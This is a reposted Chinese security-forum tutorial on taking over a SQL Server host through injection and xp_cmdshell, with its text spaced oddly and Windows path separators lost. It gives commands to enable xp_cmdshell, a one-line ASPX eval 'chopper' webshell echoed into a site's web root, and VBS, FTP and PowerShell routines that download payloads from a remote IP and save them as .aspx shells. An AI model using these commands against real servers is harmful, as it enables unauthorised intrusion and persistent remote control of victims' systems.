搜索

[20870] 2017-08-21_sqlserver利用xp_cshell以及远程文件下载拿webshell方式

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2017-08-21_sqlserver利用xp_cmdshell以及远程文件下载拿webshell方式 s q l s e r v e r   利 用 x p _ c m d s h e l l 以 及 远 程 文 件 下 载 拿 w e b s h e l l 方 式 原 创   l e m o n   L e m o n S e c   2 0 1 7 - 0 8 - 2 1 简 单 的 命 令 ： 检 查 是 否 启 用 了 检 查 是 否 启 用 了 x p _ c m d s h e l l ： ： a n d   1 = ( S e l e c t   c o u n t ( * )   f r o m   m a s t e r . . s y s o b j e c t s   w h e r e   x t y p e = ' X '   a n d   n a m e = ' x p _ c m d s h e l l ' ) - - 删 除 删 除 x p _ c m d s h e l l ： ： ; e x e c   s p _ d r o p e x t e n d e d p r o c   ' x p _ c m d s h e l l ' - - 启 用 启 用 x p _ c m d s h e l l （ 要 求 数 据 库 支 持 堆 叠 查 询 ） ： ： ; E X E C   s p _ a d d e x t e n d e d p r o c   x p _ c m d s h e l l   , @ d l l n a m e   = ' x p l o g 7 0 . d l l '   - - ; E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' ,   1 ; R E C O N F I G U R E - -   / / 1 为 开 启 ， 0 为 关 闭 . 如 提 示 ： 拒 绝 了 对 对 象   ‘ s p _ a d d e x t e n d e d p r o c ’   ( 数 据 库   ‘ m s s q l s y s t e m r e s o u r c e ’ ， 架   构   ‘ s y s ’ ) 的   E X E C U T E   权 限 。 或 提 示 “ 用 户 没 有 执 行 此 操 作 的 权 限 。 ” 说 明 权 限 不 够 。 如 果 执 行 不 成 功 ， 那 么 可 能 x p l o g 7 0 . d l l 文 件 被   删 除 了 ， 我 们 可 以 上 传 一 个 x p l o g 7 0 . d l l 文 件 ， 然 后 进 行 恢 复 ， 语 句 如 下 ： ; e x e c   s p _ a d d e x t e n d e d p r o c   ‘ x p _ c m d s h e l l ’ , ’ c : x p l o g 7 0 . d l l ’ 利 用 利 用 x p _ c m d s h e l l 执 行 系 统 命 令 ： 执 行 系 统 命 令 ： ; e x e c   m a s t e r . . x p _ c m d s h e l l   " 系 统 命 令 "   - - 下 面 是 利 用 下 面 是 利 用 x p _ c m d s h e l l   存 储 过 程 漏 洞 拿 存 储 过 程 漏 洞 拿 w e b s h e l l 的 几 种 方 式 ： 的 几 种 方 式 ： 首 先 用 x p _ c m d s h e l l 执 行 执 行 c m d 命 令 命 令 比 如 ： 执 行     d i r   / s   c : d e f a u l t . a s p x           在 C 盘 搜 索 d e f a u l t . a s p x   文 件                     找 w e b 目 录 看 路 径 e x e c   m a s t e r . . x p _ c m d s h e l l   " d i r   / s   f : d e f a u l t . a s p x " 你 也 可 以 用 最 笨 的 方 式 一 个 文 件 一 个 文 件 找 。 。 。
一 、 直 接 写 小 马 到 服 务 器 目 录 下 一 、 直 接 写 小 马 到 服 务 器 目 录 下 直 接 在 s h e l l     ， 新 建 2 2 . t x t 文 档 尝 试 写 1 1 1 1 ， 可 以 写 进 去 e x e c   m a s t e r . . x p _ c m d s h e l l   " e c h o   1 1 1 1   > >     f : w w w r o o t L o t t e r y W e b 2 2 . t x t "
然 后 写 小 马 ， 在 直 接 写 小 马 的 时 候 报 错 ， ， 需 要 对 尖 括 号 < > 进 行 下 转 译 ， 在 前 面 加 ^ ， 如 下 语 句 e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   ^ < % @   P a g e   L a n g u a g e = " J s c r i p t " % ^ > ^ < % e v a l ( R e q u e s t . I t e m [ " c h o p p e r " ] , " u n s a f e " ) ; % ^ > > > f : w w w r o o t L o t t e r y W e b 2 2 . a s p x ' 查 看 下 马 是 否 写 入 e x e c   m a s t e r . . x p _ c m d s h e l l   ' t y p e   f : w w w r o o t L o t t e r y W e b 2 2 . a s p x '
在 w e b 页 面 访 问 2 2 . a s p x ， 访 问 不 到 连 接 不 上 ， 有 w a f 拦 了 直 接 写 w e b s h e l l 失 败 ， 我 们 尝 试 以 下 写 s h e l l 方 式 ： 远 程 服 务 器 下 载 二 二     、 、 w i n d o w s   c m d   f t p 上 传 和 下 载 上 传 和 下 载     操 作 它 服 务 器 连 接 我 电 脑 的 f t p , 然 后 从 我 电 脑 往 他 服 务 器 下 载 小 马 或 者 大 马 1 . “ 开 始 ” - “ 运 行 ” - 输 入 “ F T P ”   O R   c m d - - > f t p   2 . o p e n   q i n t . i t h o t . n e t     / * 这 一 步 可 以 与 第 一 步 合 并 ， 在 “ 运 行 ” 里 直 接 输 入 " f t p   q i n t . i t h o t . n e t " 。 如 果 你 的 F T P 服 务 器 不 是 用 的 2 1 默 认 端 口 ， 假 如 端 口 是 2 1 2 1 ， 那 么 此 步 的 命 令 应 在 后 面 空 格 加 2 1 2 1 ， 即 “ o p e n   q i n t . i t h o t . n e t   2 1 2 1 ” * /     3 . u s e r n a m e : u s e r n a m e       / * 提 示 你 输 入 用 户 名 * /     4 . p a s s w o r d : u s e r 1 2 3 4       / * 提 示 你 输 入 密 码 ， 密 码 不 回 显 ， 打 完 密 码 后 回 车 即 可 。 如 果 你 的 密 码 输 入 错 误 ， 将 不 会 提 示 你 重 新 输 入 ， 这 时 你 要 键 入 “ u s e r ” 命 令 ， 将 会 出 现 第 三 步 ， 你   可 以 重 新 输 入 用 户 名 和 密 码 。 * /     5 . p u t   i 0 0 1 . j p g   / * 将 当 前 目 录 ( d : q i n t ) 中 的 文 件 i 0 0 1 . j p g 上 传 到 F T P 服 务 器 默 认 目 录 。 可 以 用 " m p u t   * . * " 将 所 有 文 件 上 传 到 F T P 服 务 器 上 。 * /   6 . m p u t   * . h t m ／ ＊ 从 本 地 目 录 上 传 多 个 h t m 文 件 到 服 务 器 目 录 ＊ ／ 7 . g e t   d 1 2 3 . j p g   / * 将 F T P 服 务 器 默 认 目 录 中 的 文 件 d 1 2 3 . j p g 下 载 到 当 前 目 录 下 ( d : q i n t ) 。 可 以 用 " m g e t   * . * " 将 所 有 文 件 下 载 到 d : q i n t * /   8 . m g e t   * . h t m ／ ＊ 下 载 当 前 服 务 器 目 录 下 的 多 个 h t m 文 件 到 本 地 目 录 ＊ ／   9 . d e l e t e   * . *  
/ * 删 除 目 录 q i n t 中 的 所 有 文 件 。 * /   现 在 用 这 种 方 式 的 不 多 ， 所 以 没 有 实 际 操 作 以 及 截 图 ， 只 作 为 了 解 。 三 、 三 、 V B S 远 程 文 件 下 载 远 程 文 件 下 载 V B S 的 全 称 是 ： M i c r o s o f t   V i s u a l   B a s i c   S c r i p t   E d i t o n 。 （ 微 软 公 司 可 视 化 B A S I C 脚 本 版 ） 。 V B S 是 基 于 V i s u a l   B a s i c 的 脚 本 语 言 。 命 令 如 下 ： 命 令 如 下 ： e c h o   i L o c a l = L C a s e ( W s c r i p t . A r g u m e n t s ( 1 ) )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s                                                                                         / /     e x e c m a s t e r . . x p _ c m d s h e l l   ' e c h o   i L o c a l = L C a s e ( W s c r i p t . A r g u m e n t s ( 1 ) )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s ' e c h o   i R e m o t e = L C a s e ( W s c r i p t . A r g u m e n t s ( 0 ) )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   w s c r i p t . e c h o   " [ ! ] G E T   " , i R e m o t e   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s e t   x P o s t = C r e a t e O b j e c t ( " M i c r o s o f t . X M L H T T P " )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   x P o s t . O p e n   " G E T " , i R e m o t e , 0   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   x P o s t . S e n d ( )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   O n   E r r o r   R e s u m e   N e x t   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s e t   s G e t = C r e a t e O b j e c t ( " A D O D B . S t r e a m " )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s G e t . M o d e = 3   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s G e t . T y p e = 1   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s G e t . O p e n ( )   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s G e t . W r i t e   x P o s t . R e s p o n s e B o d y   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s e c h o   s G e t . S a v e T o F i l e   i L o c a l , 2   > > f : w w w r o o t L o t t e r y W e b w g e t . v b s 部 分 截 图 （ 不 包 括 所 有 命 令 的 截 图 ） ：
U s a g e : c s c r i p t   / / n o l o g o   f : w w w r o o t L o t t e r y W e b w g e t . v b s   h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 1 . t x t   f : w w w r o o t L o t t e r y W e b 1 1 . a s p x （ h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 1 . t x t   为 本 地 的 地 址 ） 执 行 v b s 下 载 文 件 e x e c   m a s t e r . . x p _ c m d s h e l l   ' c s c r i p t   / / n o l o g o   f : w w w r o o t L o t t e r y W e b w g e t . v b s h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 1 . t x t     f : w w w r o o t L o t t e r y W e b 1 1 . a s p x '
查 看 1 1 . a s p x 文 件 ： e x e c   m a s t e r . . x p _ c m d s h e l l   ' t y p e     f : w w w r o o t L o t t e r y W e b 1 1 . a s p x ' 可 以 看 到 已 经 全 部 写 入 直 接 连 接 1 1 . a s p x
s h e l l 四 、 四 、 p o w e r s h e l l 文 件 下 载 文 件 下 载 P o w e r S h e l l   是 一 种 命 令 行 外 壳 程 序 和 脚 本 环 境 ， 使 命 令 行 用 户 和 脚 本 编 写 者 可 以 利 用   . N E T   F r a m e w o r k 的 强 大 功 能 。   它 引 入 了 许 多 非 常 有 用 的 新 概 念 ， 从 而 进 一 步 扩 展 了 您 在   W i n d o w s   命 令 提 示 符 和   W i n d o w s   S c r i p t   H o s t   环 境 中 获 得 的 知 识 和 创 建 的 脚 本 。 命 令 如 下 ： I m p o r t - M o d u l e   B i t s T r a n s f e r                                                                                                     / / e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   I m p o r t - M o d u l e   B i t s T r a n s f e r > > f : w w w r o o t L o t t e r y W e b 3 3 3 . p s 1 ' $ u r l = ' h t t p : / / w w w / b a i d u . c o m / l o g o . p n g '                                                                         / / e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   $ u r l = " h t t p : / / 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 / 2 . t x t " > > f : w w w r o o t L o t t e r y W e b 3 3 3 . p s 1 ' S t a r t - B i t s T r a n s f e r   $ u r l   d : l o g o . p n g                                                                                     / / e x e c   m a s t e r . . x p _ c m d s h e l l   ' e c h o   S t a r t - B i t s T r a n s f e r   $ u r l f : w w w r o o t L o t t e r y W e b 3 3 3 . a s p x   > > f : w w w r o o t L o t t e r y W e b 3 3 3 . p s 1 '                                                                                                                                                                                                                                                                                                                                                                                                                                                                       3 3 3 . a s p x         随 便 命 令 的     通 常 命 名 w e b s h e l l . a s p x 执 行 ： p o w e r s h e l l                                                                                                                                         / / e x e c   m a s t e r . . x p _ c m d s h e l l   ' p o w e r s h e l l   f : w w w r o o t L o t t e r y W e b 3 3 3 . p s 1 ' 操 作 截 图 如 下 ， 前 两 个 图 是 2 2 2 . p s l ,   后 面 的 是 3 3 3 . p s l ， 此 名 字 应 该 全 部 一 样 ， 是 我 中 间 执 行 错 误 后 改 名 为 3 3 3 . p s l 的 ， 截 图 部 分 没 有 更 换 而 且 。 只 当 全 部 都 是 3 3 3 . p s l 即 可 。

* 禁 止 执 行 脚 本 ， 以 下 为 详 细 解 释 ： 刚 开 始 使 用 P o w e r s h e l l ， 导 入 管 理 模 块 或 者 其 他 操 作 的 时 候 会 出 现 因 为 在 此 系 统 中 禁 止 执 行 脚 本 的 报 错 ， 报 错 内 容 如 下 ： W i n d o w s   P o w e r S h e l l 版 权 所 有   ( C )   2 0 0 9   M i c r o s o f t   C o r p o r a t i o n 。 保 留 所 有 权 利 。 P S   C : W i n d o w s s y s t e m 3 2 >   D : W o r k s h o p P o w e r s h e l l S p r i n k l e r s r c S c r i p t s S P R I N K L E . p s 1 无 法 加 载 文 件   D : W o r k s h o p P o w e r s h e l l S p r i n k l e r s r c S c r i p t s S P R I N K L E . p s 1 ， 因 为 在 此 系 统 中 禁 止 执 行 脚 本 。 有 关 详 细 信 息 ， 请 参
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理